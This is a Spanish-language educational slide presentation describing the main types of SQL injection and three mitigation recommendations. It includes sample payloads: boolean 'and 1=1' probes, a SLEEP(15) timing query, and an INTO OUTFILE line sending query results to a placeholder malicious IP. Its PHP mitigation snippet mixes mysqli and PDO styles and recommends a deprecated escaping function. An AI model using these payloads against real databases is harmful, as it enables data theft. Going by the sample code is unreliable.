Want to create interactive content? It’s easy in Genially!

Get started free

TIPO DE INYECCIÓN SQL

reneroswal

Created on May 23, 2022

Informática

Start designing with a free template

Discover more than 1500 professional designs like these:

Practical Timeline

Timeline video mobile

Timeline Lines Mobile

Major Religions Timeline

Timeline Flipcard

Timeline video

History Timeline

Transcript

TIPOS DE INYECCIÓNSQL

Ataque basado en errores

Inyección SQL en banda

01

Por ejemplo, un mensaje de error puede contener el nombre de la tabla incluido en la consulta y los nombres de las columnas de la tabla. Estos datos pueden ser utilizados para crear nuevos ataques.

La inyección SQL en banda es la forma más simple de inyección SQL. En este proceso, el atacante es capaz de utilizar el mismo canal para insertar el código SQL malicioso en la aplicación, así como para recoger los resultados.

Ataque basado en la Unión

En este método, un atacante que utiliza la unión SQL se une para mostrar los resultados de una tabla diferente. Por ejemplo, si un atacante está en una página de búsqueda, puede añadir los resultados de otra tabla.

Ataque Booleano

Un atacante evalúa qué partes de la entrada de un usuario son vulnerables a las inyecciones SQL probando dos versiones diferentes de una cláusula booleana a través de la entrada: «… and 1=1» «… and 1=2» Si la aplicación funciona normalmente en el primer caso pero muestra una anomalía en el segundo, indica que la aplicación es vulnerable a un ataque de inyección SQL.

Inyección SQL Inferencial (Blind SQL Injection)

02

Ataque basado en el tiempo

El atacante envía varias consultas a la base de datos para evaluar cómo la aplicación analiza estas respuestas. Una inyección SQL inferencial es a veces también conocida como inyección SQL ciega.

Un atacante utiliza una función predefinida basada en el tiempo del sistema de administración de la base de datos que es utilizada por la aplicación. Por ejemplo, en MySQL, la función sleep() le indica a la base de datos que espere un cierto número de segundos. select * from comments WHERE post_id=1-SLEEP(15); Si tal consulta resulta en un retraso, el atacante sabrá que es vulnerable.

Inyección SQL fuera de banda

Las técnicas de inyección SQL fuera de banda pueden utilizarse como alternativa a las técnicas de inyección SQL inferencial. Un ataque de inyección SQL fuera de banda utiliza una capacidad de proceso de archivos externos de su SGBD. En MySQL, las funciones LOAD_FILE() y INTO OUTFILE pueden ser usadas para solicitar a MySQL que transmita los datos a una fuente externa. A continuación se muestra cómo un atacante puede utilizar OUTFILE para enviar los resultados de una consulta a una fuente externa: select * from post_table into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'

03

Ataque basado en el tiempo

3 RECOMENDACIONES PARA EVITAR VULNERABILIDADES DE INYECCIÓN SQL

04

Usar declaraciones preparadas

Entradas Escape del usuario

comprobaciones de higiene para evitar ataques SQL

Una sentencia preparada es una plantilla de una consulta SQL, en la que se especifican los parámetros en una etapa posterior para ejecutarla. Aquí hay un ejemplo de una declaración preparada en PHP y MySQLi. $query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?"); $query->execute(array($username, $password));

El siguiente paso para mitigar esta vulnerabilidad es limitar el acceso a la base de datos a sólo lo necesario.

Este proceso le ahorra un ataque de inyección SQL. Puede escapar una cadena antes de construir la consulta en PHP usando la función mysql_escape_string(). También puedes escapar una cadena en MySQL usando la función mysqli_real_escape_string().

FUENTE DE INFORMACIÓN https://kinsta.com/es/blog/inyeccion-sql/ https://infinityspa.cl/inyeccion-sql/ https://www.gb-advisors.com/es/6-formas-de-prevenir-ataques-de-inyeccion-sql-con-acunetix/